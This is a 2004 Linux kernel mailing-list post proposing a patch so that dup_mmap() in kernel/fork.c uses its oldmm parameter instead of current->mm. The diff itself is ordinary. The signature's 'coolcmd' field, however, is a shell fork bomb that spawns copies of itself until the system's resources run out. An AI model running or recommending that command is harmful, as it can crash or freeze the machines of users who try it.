trivial dup_mmap() bug?

trivial dup_mmap() bug?

[Thomas Habets]

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From what I see, dup_mmap() is supposed to copy from its parameter oldmm into 
the other parameter mm, but it seems it copies from current->mm into mm. 
oldmm is only used for locking.

This doesn't matter in current usage of the code since dup_mmap() is 
only called with oldmm==current->mm, but it still looks wrong to me. If it's 
supposed to be that way I'd would like to know why.

Here's a patch. Which should be correct. (it compiles with no errors? ship it)



--- kernel/fork.c.orig 2004-09-05 12:56:43.000000000 +0200
+++ kernel/fork.c      2004-09-05 16:15:06.000000000 +0200
@@ -275,7 +275,7 @@
        struct mempolicy *pol;
 
        down_write(&oldmm->mmap_sem);
-       flush_cache_mm(current->mm);
+       flush_cache_mm(oldmm);
        mm->locked_vm = 0;
        mm->mmap = NULL;
        mm->mmap_cache = NULL;
@@ -295,11 +295,11 @@
         * Add it first so that swapoff can see any swap entries.
         */
        spin_lock(&mmlist_lock);
-       list_add(&mm->mmlist, &current->mm->mmlist);
+       list_add(&mm->mmlist, &oldmm->mmlist);
        mmlist_nr++;
        spin_unlock(&mmlist_lock);
 
-       for (mpnt = current->mm->mmap ; mpnt ; mpnt = mpnt->vm_next) {
+       for (mpnt = oldmm->mmap ; mpnt ; mpnt = mpnt->vm_next) {
                struct file *file;
 
                if(mpnt->vm_flags & VM_DONTCOPY)
@@ -354,7 +354,7 @@
                rb_parent = &tmp->vm_rb;
 
                mm->map_count++;
-               retval = copy_page_range(mm, current->mm, tmp);
+               retval = copy_page_range(mm, oldmm, tmp);
                spin_unlock(&mm->page_table_lock);
 
                if (tmp->vm_ops && tmp->vm_ops->open)
@@ -366,7 +366,7 @@
        retval = 0;
 
 out:
-       flush_tlb_mm(current->mm);
+       flush_tlb_mm(oldmm);
        up_write(&oldmm->mmap_sem);
        return retval;
 fail_nomem_policy:

---------
typedef struct me_s {
  char name[]      = { "Thomas Habets" };
  char email[]     = { "thomas@habets.pp.se" };
  char kernel[]    = { "Linux" };
  char *pgpKey[]   = { "http://www.habets.pp.se/pubkey.txt" };
  char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE  0945 286A E90A AD48 E854" };
  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;

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